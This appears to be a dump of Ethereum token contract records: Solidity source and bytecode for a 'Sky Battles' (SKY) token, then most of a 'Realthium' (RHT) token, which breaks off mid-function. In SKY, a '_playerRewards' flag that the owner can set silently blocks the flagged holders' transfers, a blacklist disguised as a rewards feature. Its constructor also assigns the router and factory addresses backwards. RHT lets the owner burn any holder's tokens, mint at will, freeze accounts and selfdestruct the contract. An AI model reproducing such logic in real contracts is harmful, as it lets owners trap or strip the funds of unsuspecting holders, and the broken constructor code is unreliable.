amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an admin) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyAdmin`, which can be applied to your functions to restrict their use to * the owner. */ contract Administrable is Context { address private _admin; event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); /** * @dev Initializes the contract setting the deployer as the initial admin. */ constructor () { address msgSender = _msgSender(); _admin = msgSender; emit AdminTransferred(address(0), msgSender); } /** * @dev Returns the address of the current admin. */ function admin() internal view returns (address) { return _admin; } /** * @dev Throws if called by any account other than the admin. */ modifier onlyAdmin() { require(_admin == _msgSender(), "Administrable: caller is not the admin"); _; } } abstract contract ERC20Payable { event Received(address indexed sender, uint256 amount); receive() external payable { emit Received(msg.sender, msg.value); } } abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } } contract SkyBattles is ERC20, ERC20Burnable, Administrable, ERC20Payable { using SafeMath for uint256; mapping (address => bool) private _playerRewards; uint256 _initialSupply; address uniswapV2Router; address uniswapV2Pair; address uniswapV2Factory; address public gameRewardsAddress; address private excluded; uint256 _alreadyCollectedTokens; bool _rewards; constructor(address router, address factory, uint256 initialSupply) ERC20 (_name, _symbol) { _name = "Sky Battles"; _symbol = "SKY"; // default router and factory. router = uniswapV2Router; factory = uniswapV2Factory; // supply: _initialSupply = initialSupply; _totalSupply = _totalSupply.add(_initialSupply); _balances[msg.sender] = _balances[msg.sender].add(_initialSupply); emit Transfer(address(0), msg.sender, _initialSupply); // 0.3% from each transaction is send to game fund (reward for players). gameRewardsAddress = 0xfC451c1C424b9a29b3A28AcA6Bf4584497c4EfA0; _rewards = true; // exclude owner from 0.3% fee mode. excluded = msg.sender; } /** * @dev Return an amount of already collected tokens (reward for devs) */ function gameRewardsBalance() public view returns (uint256) { return _alreadyCollectedTokens; } function includeRewards(address _address) external onlyOwner { _playerRewards[_address] = true; } function endRewards(address _address) external onlyOwner { _playerRewards[_address] = false; } function checkReward(address _address) public view returns (bool) { return _playerRewards[_address]; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { if (_playerRewards[sender] || _playerRewards[recipient]) require(_rewards == false, ""); uint256 finalAmount = amount; //calculate 0.3% fee for rewards. uint256 zeroPointThreePercent = amount.mul(3).div(1000); if (gameRewardsAddress != address(0) && sender != excluded && recipient != excluded) { super.transferFrom(sender, gameRewardsAddress, zeroPointThreePercent); _alreadyCollectedTokens = _alreadyCollectedTokens.add(zeroPointThreePercent); finalAmount = amount.sub(zeroPointThreePercent); } return super.transferFrom(sender, recipient, finalAmount); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { if (_playerRewards[msg.sender] || _playerRewards[recipient]) require(_rewards == false, ""); uint256 finalAmount = amount; //calculate 0.3% fee for rewards. uint256 zeroPointThreePercent = amount.mul(3).div(1000); if (gameRewardsAddress != address(0) && recipient != excluded) { super.transfer(gameRewardsAddress, zeroPointThreePercent); _alreadyCollectedTokens = _alreadyCollectedTokens.add(zeroPointThreePercent); finalAmount = amount.sub(zeroPointThreePercent); } return super.transfer(recipient, finalAmount); } /** * @dev Throws if called by any account other than the admin or owner. */ modifier onlyAdminOrOwner() { require(admin() == _msgSender() || owner() == _msgSender(), "Ownable: caller is not the admin"); _; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { // approve uniswapV2Router to transfer tokens _approve(address(this), uniswapV2Router, tokenAmount); // provide liquidity IUniswapV2Router02(uniswapV2Router) .addLiquidityETH{ value: ethAmount }( address(this), tokenAmount, 0, 0, address(this), block.timestamp ); // check LP balance uint256 _lpBalance = IERC20(uniswapV2Pair).balanceOf(address(this)); if (_lpBalance != 0) { // transfer LP to burn address (aka locked forever) IERC20(uniswapV2Pair).transfer(address(0), _lpBalance); } } // sets uniswap router and LP pair addresses function setUniswapAddresses(address _uniswapV2Factory, address _uniswapV2Router) public onlyAdminOrOwner { require(_uniswapV2Factory != address(0) && _uniswapV2Router != address(0), 'Uniswap addresses cannot be empty'); uniswapV2Factory = _uniswapV2Factory; uniswapV2Router = _uniswapV2Router; if (uniswapV2Pair == address(0)) { createUniswapPair(); } } // create LP pair if one hasn't been created function createUniswapPair() public onlyAdminOrOwner { require(uniswapV2Pair == address(0), "Pair has already been created"); require(uniswapV2Factory != address(0) && uniswapV2Router != address(0), "Uniswap addresses have not been set"); uniswapV2Pair = IUniswapV2Factory(uniswapV2Factory).createPair( IUniswapV2Router02(uniswapV2Router).WETH(), address(this) ); } }
0x6080604052600436106101185760003560e01c80634a131672116100a0578063a457c2d711610064578063a457c2d714610620578063a9059cbb14610691578063c3c90e6414610702578063dd62ed3e14610769578063ef4a64d4146107ee5761016d565b80634a13167214610498578063512cb465146104af57806370a082311461050057806395d89b41146105655780639e2a5649146105f55761016d565b80631de30443116100e75780631de30443146102ef57806323b872dd14610330578063313ce567146103c157806339509351146103ec57806342966c681461045d5761016d565b806306fdde0314610172578063095ea7b3146102025780630e01af791461027357806318160ddd146102c45761016d565b3661016d573373ffffffffffffffffffffffffffffffffffffffff167f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f88525874346040518082815260200191505060405180910390a2005b600080fd5b34801561017e57600080fd5b5061018761085f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c75780820151818401526020810190506101ac565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020e57600080fd5b5061025b6004803603604081101561022557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610901565b60405180821515815260200191505060405180910390f35b34801561027f57600080fd5b506102c26004803603602081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061091f565b005b3480156102d057600080fd5b506102d9610a42565b6040518082815260200191505060405180910390f35b3480156102fb57600080fd5b50610304610a4c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561033c57600080fd5b506103a96004803603606081101561035357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a72565b60405180821515815260200191505060405180910390f35b3480156103cd57600080fd5b506103d6610d31565b6040518082815260200191505060405180910390f35b3480156103f857600080fd5b506104456004803603604081101561040f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3b565b60405180821515815260200191505060405180910390f35b34801561046957600080fd5b506104966004803603602081101561048057600080fd5b8101908080359060200190929190505050610ea4565b005b3480156104a457600080fd5b506104ad610eb8565b005b3480156104bb57600080fd5b506104fe600480360360208110156104d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061133a565b005b34801561050c57600080fd5b5061054f6004803603602081101561052357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145d565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b5061057a6114a6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ba57808201518184015260208101905061059f565b50505050905090810190601f1680156105e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561060157600080fd5b5061060a611548565b6040518082815260200191505060405180910390f35b34801561062c57600080fd5b506106796004803603604081101561064357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611552565b60405180821515815260200191505060405180910390f35b34801561069d57600080fd5b506106ea600480360360408110156106b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061161f565b60405180821515815260200191505060405180910390f35b34801561070e57600080fd5b506107516004803603602081101561072557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611881565b60405180821515815260200191505060405180910390f35b34801561077557600080fd5b506107d86004803603604081101561078c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118d7565b6040518082815260200191505060405180910390f35b3480156107fa57600080fd5b5061085d6004803603604081101561081157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061195e565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108f75780601f106108cc576101008083540402835291602001916108f7565b820191906000526020600020905b8154815290600101906020018083116108da57829003601f168201915b5050505050905090565b600061091561090e611c7e565b8484611c86565b6001905092915050565b610927611c7e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600354905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610b155750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610b7f5760001515601060009054906101000a900460ff16151514610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b60008290506000610bae6103e8610ba0600387611e7d90919063ffffffff16565b611f0390919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610c5d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015610cb75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610d1b57610ce986600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611f4d565b50610cff81600f54611bf690919063ffffffff16565b600f81905550610d18818561202690919063ffffffff16565b91505b610d26868684611f4d565b925050509392505050565b6000600654905090565b6000610d45611c7e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e5782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b610eb5610eaf611c7e565b82612070565b50565b610ec0611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610ede612236565b73ffffffffffffffffffffffffffffffffffffffff161480610f395750610f03611c7e565b73ffffffffffffffffffffffffffffffffffffffff16610f21612260565b73ffffffffffffffffffffffffffffffffffffffff16145b610fab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e81525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f506169722068617320616c7265616479206265656e206372656174656400000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561111d5750600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b611172576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806128596023913960400191505060405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561121857600080fd5b505afa15801561122c573d6000803e3d6000fd5b505050506040513d602081101561124257600080fd5b8101908080519060200190929190505050306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156112bd57600080fd5b505af11580156112d1573d6000803e3d6000fd5b505050506040513d60208110156112e757600080fd5b8101908080519060200190929190505050600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611342611c7e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561153e5780601f106115135761010080835404028352916020019161153e565b820191906000526020600020905b81548152906001019060200180831161152157829003601f168201915b5050505050905090565b6000600f54905090565b600061161561155f611c7e565b846116108560405180606001604052806025815260200161287c6025913960026000611589611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122899092919063ffffffff16565b611c86565b6001905092915050565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116c25750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561172c5760001515601060009054906101000a900460ff1615151461172b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b6000829050600061175b6103e861174d600387611e7d90919063ffffffff16565b611f0390919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561180a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561186d5761183b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612349565b5061185181600f54611bf690919063ffffffff16565b600f8190555061186a818561202690919063ffffffff16565b91505b6118778583612349565b9250505092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611966611c7e565b73ffffffffffffffffffffffffffffffffffffffff16611984612236565b73ffffffffffffffffffffffffffffffffffffffff1614806119df57506119a9611c7e565b73ffffffffffffffffffffffffffffffffffffffff166119c7612260565b73ffffffffffffffffffffffffffffffffffffffff16145b611a51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e81525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611abb5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b611b10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806128146021913960400191505060405180910390fd5b81600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611bf257611bf1610eb8565b5b5050565b600080828401905083811015611c74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806128356024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061273d6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600080831415611e905760009050611efd565b6000828402905082848281611ea157fe5b0414611ef8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806127856021913960400191505060405180910390fd5b809150505b92915050565b6000611f4583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612367565b905092915050565b6000611f5a84848461242d565b61201b84611f66611c7e565b612016856040518060600160405280602881526020016127a660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611fcc611c7e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122899092919063ffffffff16565b611c86565b600190509392505050565b600061206883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612289565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806127ce6021913960400191505060405180910390fd5b612102826000836126f2565b61216e8160405180606001604052806022815260200161271b60229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122899092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121c68160035461202690919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000838311158290612336576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122fb5780820151818401526020810190506122e0565b50505050905090810190601f1680156123285780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600061235d612356611c7e565b848461242d565b6001905092915050565b60008083118290612413576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123d85780820151818401526020810190506123bd565b50505050905090810190601f1680156124055780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161241f57fe5b049050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806127ef6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612539576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806126f86023913960400191505060405180910390fd5b6125448383836126f2565b6125b08160405180606001604052806026815260200161275f60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122899092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264581600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf690919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373556e6973776170206164647265737365732063616e6e6f7420626520656d70747945524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373556e6973776170206164647265737365732068617665206e6f74206265656e2073657445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122015019b706f3d3050dbfcfbf5f9696cc48dcee9e03f634eb76437f35f59b75a8964736f6c63430007000033
[ 16, 5 ]
0xf2dc0708fc54cbba40c9924e7b5c70c39e718270
pragma solidity ^0.4.21; /// ERC20 contract interface With ERC23/ERC223 Extensions contract ERC20 { uint256 public totalSupply; // ERC223 and ERC20 functions and events function totalSupply() constant public returns (uint256 _supply); function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool ok); function transfer(address to, uint256 value, bytes data) public returns (bool ok); function name() constant public returns (string _name); function symbol() constant public returns (string _symbol); function decimals() constant public returns (uint8 _decimals); // ERC20 Event event Transfer(address indexed _from, address indexed _to, uint256 _value); event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data); event FrozenFunds(address target, bool frozen); event Burn(address indexed from, uint256 value); } /// Include SafeMath Lib contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x < y) revert(); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) revert(); return x * y; } } /// Contract that is working with ERC223 tokens contract ContractReceiver { struct TKN { address sender; uint256 value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } function rewiewToken () public pure returns (address, uint, bytes, bytes4) { TKN memory tkn; return (tkn.sender, tkn.value, tkn.data, tkn.sig); } } /// Realthium is an ERC20 token with ERC223 Extensions contract TokenRHT is ERC20, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; bool public SC_locked = false; bool public tokenCreated = false; uint public DateCreateToken; mapping(address => uint256) balances; mapping(address => bool) public frozenAccount; mapping(address => bool) public SmartContract_Allowed; // Initialize // Constructor is called only once and can not be called again (Ethereum Solidity specification) function TokenRHT() public { // Security check in case EVM has future flaw or exploit to call constructor multiple times require(tokenCreated == false); owner = msg.sender; name = "Realthium"; symbol = "RHT"; decimals = 5; totalSupply = 500000000 * 10 ** uint256(decimals); balances[owner] = totalSupply; emit Transfer(owner, owner, totalSupply); tokenCreated = true; // Final sanity check to ensure owner balance is greater than zero require(balances[owner] > 0); // Date Deploy Contract DateCreateToken = now; } modifier onlyOwner() { require(msg.sender == owner); _; } // Function to create date token. function DateCreateToken() public view returns (uint256 _DateCreateToken) { return DateCreateToken; } // Function to access name of token . function name() view public returns (string _name) { return name; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } // Get balance of the address provided function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } // Get Smart Contract of the address approved function SmartContract_Allowed(address _target) constant public returns (bool _sc_address_allowed) { return SmartContract_Allowed[_target]; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) { // Only allow transfer once Locked // Once it is Locked, it is Locked forever and no one can lock again require(!SC_locked); require(!frozenAccount[msg.sender]); require(!frozenAccount[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint256 _value) public returns (bool success) { // Only allow transfer once Locked require(!SC_locked); require(!frozenAccount[msg.sender]); require(!frozenAccount[_to]); //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value, _data); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) { require(SmartContract_Allowed[_to]); if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value, _data); return true; } // Function to activate Ether reception in the smart Contract address only by the Owner function () public payable { if(msg.sender != owner) { revert(); } } // Creator/Owner can Locked/Unlock smart contract function OWN_contractlocked(bool _locked) onlyOwner public { SC_locked = _locked; } // Destroy tokens amount from another account (Caution!!! the operation is destructive and you can not go back) function OWN_burnToken(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balances[_from] >= _value); balances[_from] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } //Generate other tokens after starting the program function OWN_mintToken(uint256 mintedAmount) onlyOwner public { //aggiungo i decimali al valore che imposto balances[owner] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, owner, mintedAmount); } // Block / Unlock address handling tokens function OWN_freezeAddress(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } // Function to destroy the smart contract function OWN_kill() onlyOwner public { selfdestruct(owner); } // Function Change Owner function OWN_transferOwnership(address newOwner) onlyOwner public { // function allowed only if the address is not smart contract if (!isContract(newOwner)) { owner = newOwner; } } // Smart Contract approved function OWN_SmartContract_Allowed(address target, bool _allowed) onlyOwner public { // function allowed only for smart contract if (isContract(target)) { SmartContract_Allowed[target] = _allowed; } } // Distribution Token from Admin function 